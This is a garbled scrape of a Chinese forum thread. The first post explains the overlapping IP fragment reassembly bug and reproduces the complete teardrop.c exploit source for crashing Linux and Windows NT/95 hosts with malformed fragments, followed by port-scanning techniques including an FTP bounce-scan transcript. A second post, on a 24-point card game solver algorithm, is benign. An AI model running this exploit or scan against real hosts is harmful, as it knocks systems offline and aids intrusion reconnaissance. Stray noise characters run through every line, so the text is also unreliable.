& Y0 L& ^9 b5 [! [memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
) f' i* b9 Y: X5 k+ Ecount += fp-&gt;len;$ B7 P8 ?) l, O& [! ^6 n' R
fp = fp-&gt;next;2 x# M# Y( F+ Y" h; J% w1 t
}
8 G4 ^9 q, v$ Y2 ~; \" r这里只检查了长度过大的情况,而没有考虑长度过小的情况,+ R# W5 B# v6 w$ I
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:& A, y# X0 v' d: Z' H
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
* I* f. D6 p! b' i; U* G是这样处理的:
% A  @8 ?/ H7 }% v3 x1 ]if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)& a0 `: u1 u" Y1 Q+ O) @
{
% I$ T! f2 d) E1 zi = prev-&gt;end - offset;+ W8 s2 ?9 d& E
offset += i; /* ptr into datagram *// j$ m4 H0 i( F3 ?5 T9 _- j
ptr += i; /* ptr into fragment data */
5 u" J  W2 b& h5 ?& m}</P><P>/* Fill in the structure. *// f$ y: W0 a' |3 c# M
fp-&gt;offset = offset;2 V2 g/ O8 N  d+ H, K9 z! V* P
fp-&gt;end = end;
. e% L( `& r9 Ifp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:3 U9 v9 |% M. e  U9 b. y/ L
第一个碎片:mf=1 offset=0 payload=20; ^* W1 n" Y- @( _
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
- v; {4 Y+ M; R/ Poffset=0  }) {) F6 y: {8 M# ^4 _/ y
这样第二个碎片的 end=9+10=19
- e7 D) J# C( X# T. s+ u2 ioffset=offset+(20-offset)=20
( A6 x2 c/ ^$ f( L0 z& L8 gfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>7 X9 X& G9 [! O/ U+ N
/*
; {8 ?0 T6 [) S  A8 v& i1 l6 X( P* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
5 [) R- Z& D3 U# h*
6 p' h  a7 T  ~6 ]  S8 L) F* Linux/NT/95 Overlap frag bug exploit; S6 M7 |) N* e' M7 _0 {
*; `9 G+ o, {# U8 f1 r) T( m
* Exploits the overlapping IP fragment bug present in all Linux kernels and. f' [! c% _0 r7 d1 D
* NT 4.0 / Windows 95 (others?)
) `, W: e) v! ^- H2 e) x& W" _  v) v+ h*
# F; b. d4 Q" C; H* Based off of: flip.c by klepto, m6 C# n$ ?) @, O- h& L
* Compiles on: Linux, *BSD*) X/ W$ s% {# Q" a' Z1 b
*
9 o+ R* W5 O: A3 D% @* gcc -O2 teardrop.c -o teardrop
% S3 D- F8 ?( |5 a  Y* OR. K) O: U. q. ~; z( u
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
8 E# C+ H' g* r5 Z0 E*/</P><P>#include <STDIO.H>, B4 w2 ^  _/ A3 C$ A3 z  w
#include <STDLIB.H>0 U6 ~6 i) E! q' A
#include <UNISTD.H>( U# q; W6 s7 s3 R! E5 w: q. R8 C
#include <STRING.H>
: f- p$ f/ Y- W' J% q#include <NETDB.H>5 U  @  `4 m5 y' L0 S( S
#include <NETINET in.h>: r! {1 [5 X2 ^* r  ~1 ~0 G
#include <NETINET udp.h>
4 M  T7 y8 d, |' z! k#include <ARPA inet.h>
, ?3 y4 S: G+ l2 x5 y#include <SYS types.h>: z" S; V; S8 P/ R9 Q
#include <SYS time.h>. }8 {9 N1 x6 X+ w
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
6 m/ b$ f/ t- R" k& m/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
* s: c4 |+ B2 k8 N; r* ^#define FIX(n) (n): g' s( J6 V' H7 @) h2 l4 ?. Y
#else /* OpenBSD 2.1, all Linux */6 P5 a3 U5 U& \. U
#define FIX(n) htons(n)
' ^- {0 B6 m9 |#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */5 n: U7 X% r6 `! ?5 F
#define IPH 0x14 /* IP header size */
8 w9 n- M" S3 u$ d3 p#define UDPH 0x8 /* UDP header size */
" v  @1 m# w( [. j/ r#define PADDING 0x1c /* datagram frame padding for first packet */
( L0 |% B* G* g( `#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */8 c0 g% q+ F) }1 b  s
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can8 U. z3 o1 |# s8 s# V$ R8 U
* withstand maybe 5 or 10 sometimes... Experiment.# n/ C0 z3 w  ]: }! O
*/</P><P>void usage(u_char *);& d0 O9 W+ p, x9 `8 r6 X
u_long name_resolve(u_char *);
2 {8 ^- W7 D" L2 k% \3 u4 \u_short in_cksum(u_short *, int);
/ }: g2 J' B7 C3 F" N& ?void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
9 J# v# [2 U+ y5 d% o' w8 K8 v* f{
/ G! [  T% H$ U. }: aint one = 1,
3 K5 p4 o" W" Ecount = 0,
0 |/ L9 z4 f; a) {i,
; r) l: F! q1 y+ ~7 b- d/ Urip_sock;
6 Q3 q  V. y' Y; r) lu_long src_ip = 0, dst_ip = 0;- N% V. C. M: E8 d( z0 `4 }
u_short src_prt = 0, dst_prt = 0;, G1 U5 W% F  \9 j; I
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
& D3 m5 U1 _8 Cif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)1 d# x- f/ b8 ~7 U' I
{7 H1 Z% d5 {) V. z: Y
perror("raw socket");2 D4 P/ X7 s  i
exit(1);3 [7 n# N% _) ^9 D' |8 g2 O
}
$ X# e' r: L3 O; q* j//由系统处理IP校验和。/ m: k; }8 Z  \* o4 w& ^1 G
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))5 u/ ]8 L% }/ w- G
&lt; 0)
- s" i) d- {& h! n1 c5 Z& B{; v3 A3 m% m+ Z) w: V8 w
perror("IP_HDRINCL");
; B' D5 ~( n/ Lexit(1);0 X7 R# S( N/ U0 [8 J% A( M. v
}</P><P>if (argc &lt; 3) usage(argv[0]);
2 H3 l; M3 v. R- l& W' |% @4 Sif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))" n: W% G' `* U
{0 Q" ~* T; n" k) b( ?; r2 q, `# V
fprintf(stderr, "What the hell kind of IP address is that?\n");
& Y' i2 U4 t6 r% \5 I) Pexit(1);4 X: z1 M# m) ^: ]5 v
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)& L' f, x. J" M) S, d
{' |& B0 }" m2 I4 f: c
switch (i)) ]8 ^. m( k# \; g: G- Y2 G
{
% a3 v) e, n8 R6 [case 's': /* source port (should be emphemeral) */8 c# U9 q2 S# c% P' x# |& ~
src_prt = (u_short)atoi(optarg);$ H1 \# W, a3 w" B$ y
break;* Z0 s/ C9 }6 p4 \' _
case 't': /* dest port (DNS, anyone?) */, {) h% a) u1 y7 d/ \+ t
dst_prt = (u_short)atoi(optarg);- k) C' c% o1 v! m% ?( w
break;
, Y& e) m1 F0 }1 ccase 'n': /* number to send */
) l8 l- e3 R' V4 y# \4 t( Y% o3 Acount = atoi(optarg);
! g' D0 j7 }' G: w9 z1 rbreak;  d  h. G; s( e0 B9 k
default :/ |, C. G3 H  p$ N5 l3 w  {- j
usage(argv[0]);
: k9 R* |9 s! D8 }$ Ubreak; /* NOTREACHED */
; U1 S# M) x9 F1 P# q: L' W}' B. ?' |+ t% S% }" y2 `; [
}</P><P>srandom((unsigned)(time((time_t)0)));
  t+ a* [9 @/ w8 bif (!src_prt) src_prt = (random() % 0xffff);) o% L/ n- A/ S0 U9 E, |
if (!dst_prt) dst_prt = (random() % 0xffff);
$ J- q9 [+ `) F) i# Uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
, J2 B5 T% y5 N- U  _addr.s_addr = src_ip;$ j! R. b: g0 e0 ^8 ^2 i
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);, H* V8 y# t2 n5 I8 `3 T2 Z
addr.s_addr = dst_ip;
3 V& N$ Z7 n/ R2 I, u) k8 yfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
, `% @3 Q; `. f6 M- s6 w+ W# }( u0 v5 Cfprintf(stderr, " Amt: %5d\n", count);. I3 r+ E$ b" j; `4 A
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
+ F% S) K1 `+ w  \8 t{
# l' w$ d% U/ V: x3 e9 bsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
- H- ]+ Q) e5 O/ k  ^+ f/ h5 jfprintf(stderr, "b00m ");
* H  y7 a" h9 z6 F* s5 x  b! Pusleep(500);
% v$ h+ N( _6 a3 e}
1 B/ d2 _- [; _6 P6 I+ Gfprintf(stderr, "]\n");
+ F  m9 T, y% K) S/ Kreturn (0);" \, ]5 o6 Q( X
}</P><P>/*
5 b; G- F6 V3 u- L, o* Send two IP fragments with pathological offsets. We use an implementation
$ e. r( F0 i  g- N0 G! l; {* a, i% A* independent way of assembling network packets that does not rely on any of
5 ^8 L0 o& `. x. A0 `* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD)./ `  L! s- A% Y$ M2 D! z4 f$ x
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,$ F* \" X% z0 j% b5 i" }( P
u_short dst_prt)# s' j; \* q/ B* O
{6 _, U7 s3 O" G1 E
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
: b5 T) [- B& z5 v5 ^+ ^& X2 @u_char byte; /* a byte */
7 ]8 v+ n+ n' @5 ?  h8 hstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
+ L( W# v9 M, t9 G% {( csin.sin_port = src_prt;
: \  y5 w4 v- p1 J$ u- g1 [5 N8 L1 Ksin.sin_addr.s_addr = dst_ip;</P><P>/*
8 S4 k1 ^+ s, [* Grab some memory for our packet, align p_ptr to point at the beginning! ~, V) _" Y0 l
* of our packet, and then fill it with zeros.6 S6 u% G9 C6 x+ X3 |; e
*/6 k4 r4 ]& m8 F# i7 H9 r) d
packet = (u_char *)malloc(IPH + UDPH + PADDING);4 R' ~; d1 O% _, {$ Q
p_ptr = packet;
6 T  l3 a7 [+ \$ i! cbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */2 F( Y, V6 k9 ^: |
memcpy(p_ptr, &amp;byte, sizeof(u_char));
, P8 B+ s5 `- F& p: j2 Ip_ptr += 2; /* IP TOS (skipped) */# D  W- |" L0 O  U7 B
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */5 R7 z; z2 q0 O/ x* e
p_ptr += 2;
; P  B- d: G; g* H*((u_short *)p_ptr) = htons(242); /* IP id */
; U! N/ |; ~# |# D1 D+ {p_ptr += 2;9 j8 T0 \7 S  m4 z
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
! D0 m' a3 t/ O! Q1 Z% \8 Qp_ptr += 2;
4 c" M6 [3 u, \6 Q; x*((u_short *)p_ptr) = 0x40; /* IP TTL */
' p2 F5 R/ _% t& bbyte = IPPROTO_UDP;$ }# S8 T1 T! l5 l) u4 i2 S. V
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));# F+ M, D3 c4 V2 ^2 X+ S7 i# @
p_ptr += 4; /* IP checksum filled in by kernel */( Y" B( |5 W7 A6 n0 Z* O% Q2 g5 o
*((u_long *)p_ptr) = src_ip; /* IP source address */% ?% c9 g& m/ o" f; `, i* p7 J$ l
p_ptr += 4;; N  u, k4 c( f; f( \/ _% o
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
2 M! E1 \' R9 _2 h* f/ X% ^6 Tp_ptr += 4;5 ^& i  `) v2 Y4 e( \6 }
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */' x' |+ J/ i5 I9 L9 Q
p_ptr += 2;5 ]" n) E4 z5 r$ _, e
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  G7 g2 l1 q$ c) i; K# e( e9 v. zp_ptr += 2;
: B) K0 Q9 m5 J: K- D6 d8 W*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,2 \! q+ D( Y+ X6 l% e+ t) b
sizeof(struct sockaddr)) == -1)
1 V; j7 F1 f+ j# W! t{/ G1 d# s( }4 F8 G% V
perror("\nsendto");
% j5 [: E* {( [" ofree(packet);7 J4 u/ p0 y) `0 R  ?& I/ m- }
exit(1);
3 |$ `* t& C2 N) V- p$ b  Y! |& }% F}</P><P>/* We set the fragment offset to be inside of the previous packet's
$ v/ ^3 |! A7 n8 ]3 `* payload (it overlaps inside the previous packet) but do not include
" |! c, s. @/ R3 d- Q' e* enough payload to cover complete the datagram. Just the header will- m! B: E: B) O- Y/ ]0 P+ v
* do, but to crash NT/95 machines, a bit larger of packet seems to work
% d0 C: O4 f9 A0 I* better.( r: ^8 n7 O1 D- w6 E- T, u7 k+ l4 z
*/
- s( s, c+ T8 _! sp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
( p- L9 q' _+ y*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);; O5 d  D+ t- l
p_ptr += 4; /* IP offset is 6 bytes into the header */
" j$ M" m1 h" u, a% I5 P*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
- f* ?6 A( W' Rsizeof(struct sockaddr)) == -1)
. A5 n3 O( }: I  M{
8 I- T, }6 X, G5 \perror("\nsendto");
0 \( G( ?  [8 B) d# `5 ~free(packet);
/ F* x2 w6 W, ?5 n7 W, R& b9 Wexit(1);, n# G% ~8 C' R$ K/ ^$ z
}
/ n  |1 E' ?- _( t' yfree(packet);: R+ }1 |: k# v/ S
}</P><P>u_long name_resolve(u_char *host_name)
) c# y# |9 a0 K; V{$ j: F; `& T1 |6 [
struct in_addr addr;
; G. t( ]5 `$ `4 J8 Sstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)5 S+ W( N% Z5 d$ A  s- c
{
' T. A" O- k' ~) _! K# F+ kif (!(host_ent = gethostbyname(host_name))) return (0);  c, V$ p2 @" B& ]- v8 I9 u5 z
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
" f6 o- F* b+ ~2 B) W% D1 C}! r3 @; c8 T+ K& U  Z* P
return (addr.s_addr);
& B8 ~  {; z! h+ z: K0 }, A}</P><P>void usage(u_char *name)
! g0 z" W/ @5 |1 D7 H1 M5 d{
7 N: {' t0 Z; `( s( _9 e3 U2 _fprintf(stderr,9 m  U; S. E* Z
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",! a! r0 ]' K8 ^& K& \  {
name);9 S9 I9 Z3 x" Q* M( S+ [
exit(0);
% w" R9 G# Y9 t8 J- s; P7 o}</P><P>
7 d% k# @3 D4 y! n. b* S4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
. b, |0 d7 _0 T, @(1) Half-open(半打开)
4 s, `3 w0 o# r* P0 f0 j4 y利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
/ c6 m3 I, F# {如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
- s7 l* {7 ^" O: N0 i5 D' Q* r$ C利用了FTP的port命令,例如可以这样作:
3 a' R4 h, j& M! K/ t/ \选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: q2 L. N3 I7 d$ ^3 ]值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
, U# k! D& N' j8 K* H3 k1 F该端口无服务。
' m+ f; j& D5 o& A% ntelnet 192.168.1.13 21
3 h+ N9 \) M& @% sTrying 192.168.1.13...3 [/ C- F3 O) x
Connected to pp.bricks.org.- z2 }5 o- J8 O1 l1 C  J: K
Escape character is '^]'.
- v) D3 Q5 K7 {: u6 {2 k220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
9 d5 c3 @1 k' t2 HThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
/ J" a0 r* Q2 q- V- Y; K331 Guest login ok, send your complete e-mail address as password.
5 y! M# t1 T. q$ u2 L( D, }& Ypass aa@aa.aa* U( x' ^  _7 [
230 Guest login ok, access restrictions apply.
% B/ G8 a$ V7 _% S# w' _port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
; b* h& O' [- U425 Can't build data connection: Connection refused.
6 @# E9 k0 A: }6 }; W6 w8 ~//该端口未活动
( c2 v: C4 h; O150 Opening ASCII mode data connection for file list.
) }) F- Y0 u) k' e1 a! `! v226 Transfer complete.+ G6 c* q' v* j
//该端口活动中
+ p9 j9 x9 [" E0 c, c4 |但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
* Z! V! z/ }* Q& `) uSYN|FIN ACK or SYN|ACK* RST
2 `$ U& d0 m  ?% J' m2 y/ F7 TACK Nothing RST
/ Y/ b( v/ [8 }% H0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
) G: A; D7 e3 {3 k, X. `一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,* j; g3 @* K+ j, p7 U
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
/ C6 ~7 ~; m0 J- ~# I9 d0 H  n' U5 H5 y" w定它在向你做portscan。</P><P>notes:
! G% C8 |- r. a& u. ]* Q: w早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),+ H& N9 }$ e& n, P9 U1 l' i! C
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
' G& @$ Q9 L- T9 H  q/ d' |都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>8 k- o. X: h2 O- a7 w
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
0 v: ]/ o) a1 Y$ G+ X# Y# W. p: [0 D8 W
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
& ?. S& W: O3 N7 i- x5 L0 @首先穷举的可行性问题。我把表达式如下分成三类——
3 i. k' [% I% M& K: }* i<FONT color=#ff0000>1、 无括号的简单表达式。
; p% X, w4 E& I# B( _2、 有一个括号的简单表达式。0 d+ B+ X& g- o* d+ M
3、 有两个括号的较复4、 杂表达式。! A( u( T9 \2 B
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:4 Q& O/ R5 C0 ~3 K* w* C, u
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
: ~: l+ _9 {: {2 T/* c[] 存放四张牌的数组 */
# X5 W! F9 _4 b4 J/* k[] c[]种四张牌的代号,其中k[I]=I+1。/ w/ ?4 M& q; c5 U; S) B
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */7 R- ^+ I& b# [$ K9 A
/* kans[] 暂存生成的排列组合 */- _8 s, \4 O. N9 c; R
/* j 嵌套循环的次数 */
+ o# o8 y/ D- V# P. dint fans(c,k,ans,kans,j)
" Y5 a$ v7 ?* I; \9 E! nint j,k[],c[];char ans[],kans[];
; ?, O5 U7 E4 K! z{ int i,p,q,r,h,flag,s[4],t[4][4];
# h! q, @6 z- }- N' v5 z$ u6 d' Tfor(p=0,q=0;p&lt;4;p++): O3 O  [' v  b, W2 C$ H
{ for(r=0,flag=0;r<J;R++); g( d$ Y" n2 @& C, F" B* E4 K8 c4 M6 j
if(k[p]!=kans[r]) flag++;1 P/ h+ {6 p+ r. ^; a
if(flag==j) t[j][q++]=k[p];
7 _) l& l' Z4 Q1 Z4 `  v' T, A}6 B* S0 C% A7 X$ X4 p$ _  N
for(s[j]=0;s[j]&lt;4-j;s[j]++)
$ [6 V; E$ E& H& n$ C  L  N{ kans[j]=t[j][s[j]];
4 j1 Y6 |3 `5 v8 Zif(j==3) { for(h=0;h&lt;4;h++)* X3 X# \: O# }$ _& B% [
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
" P$ I! s1 n/ \达式中的位置 */6 Q: ^! d  I" e' y; H
for(h=0;h&lt;3;h++)
1 B& k) @6 [; Q: s# p% n1 ~2 V7 isymbol(ans,h); /* 在表达式中添加运算符号 */. m- |# H5 @) }  n/ E
}
, o( o. y* Z8 D! ~$ N8 Melse { j++;  }  k) J! s0 K6 {, F4 c/ ]* o- {- L  Q
fans(c,k,ans,kans,j);
1 }1 ^" R7 D) y8 o9 ^9 Oj--;2 k- I1 K( I9 f0 C; d
}/ g1 q0 \( m1 L
}0 S/ ~+ F& z, k! i( ~; e! x3 N# S
}</FONT>' w& M1 u8 R6 A) m; d( m% b9 E

& Y' V: z: |$ x1 n8 j, F1 \  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:8 n3 T# m: D1 W- H9 Y

' I7 }2 ^: \5 p<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*// g- m# b  v6 t$ K! M6 N
int sans(ans,sy,j,h)- L  g, Y2 I3 t  S  A3 S
char ans[],sy[];int j,h;' S7 L9 E% \# Y  H- N& }0 T1 K
{ int i,p,k[3],m,n; char ktans[20];
$ L# l. C! L- I8 H* p/ ]# G( X, Pfor(k[j]=0;k[j]&lt;4;k[j]++)! E/ ], \" Z$ \  W- f+ e3 F
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
1 o6 Y& d7 X, f5 m4 V3 b6 N. i) q这里的三个运算符号分别存放在1、3、5位*/ $ U  m8 X' x8 a/ p
if(j==2)
% F9 F; y; [( Y{ ans[5]=sy[k[j]];
/ W- X5 n/ }* x6 p/* 此处根据不同的表达式形式再进行相应的处理 */* V9 U8 N) b% K  K3 T2 P, [9 s
}
$ v1 h6 m2 w% {3 y% aelse { j++; sans(ans,sy,j--,h); }) c9 p4 E9 K( g; k
}
8 e# v, Q0 t' X: J1 b}8 Y3 A( D/ P/ D/ t' m* {

1 q* b' p1 N- S/ ?4 }</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。' m# O' q8 }( l# c) i$ |; ?
for(m=0;m&lt;=4;m+=2)
' @$ R* @( w+ g. W6 Ffor(n=m+4;n&lt;=8;n+=2)4 Y0 q2 W% y4 [! J9 e* |- c7 I5 P
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
4 j, a+ P; B8 n6 Q' R) `6 \0 J# X
) I- a: `+ G0 I  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
8 {+ e: G1 O$ ?2 v: ~</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
  P, o6 e) @7 ~在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
0 [4 ^9 d; f% e7 U7 H& R
0 J+ E& Q; ~5 D: @  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
0 `7 p; b1 H8 t  \2 p1 F- Q: I* v% f$ R$ z9 C& N: ?! N4 |
  那么作为栈的著名应用,表达式的计算可以有两种方法。
  M0 L8 H4 B) p$ {: r& S0 g5 x' c8 T% v7 L6 ^3 Q6 Z
  <FONT color=#ff0000>第一种方法——</FONT>9 A) s9 `7 F2 M4 B
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。) w) a4 R; y" D/ w
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
# ^( {+ w  T' R2 m" ~& V, z1、 若W为操作数  F9 }2 L- y9 K' U) l  R
2、 则将W压入操作数栈OVS
& q4 }4 O; o. p) R: a, S) D3、 且继续扫描下一个字符' Q1 G9 z- E7 e2 A" l3 L% @
4、 若W为运算符0 H/ |: W% n" ]: w9 i! s, _8 l
5、 则根据运算符的性质做相应的处理:7 D7 j1 V  Q: r+ a) O* u) Y
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。, M8 e9 q/ e, ~" i7 o  |
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
; F4 J9 X" j) }& t(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
0 M6 w1 D' |: I( V- t2 u, J1 }(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。2 T% }! l. p( t. M
6 L2 @% ?% D  a% F7 u
<FONT color=#ff0000>  第二种方法——</FONT>/ C3 v; \) [* ], f: [6 I
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。! g8 |: e. o& Z$ }
+ Q3 S2 ?' y& K; p; D
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。. k" Q' V! [7 y: n# ]' E4 [
& Y+ F8 m0 R. l$ }8 }
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
; s3 A" `+ o0 z3 k5 {表达式 波兰表达式
; v8 }$ R. _2 v$ {' sA-B AB-: ~# q' ~2 n' ^$ M
(A-B)*C+D AB-C*D+4 o( o2 k9 X! R2 B: ?
A*(B+C/D)-E*F ABCD/+*EF*-
* C7 M% n; a) z- E& I1 E4 y: D4 c(B+C)/(A-D) BC+AD-/
$ j$ W* w& H) e' t$ g! N$ D+ U) a! t) ~+ Y& ~' H
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
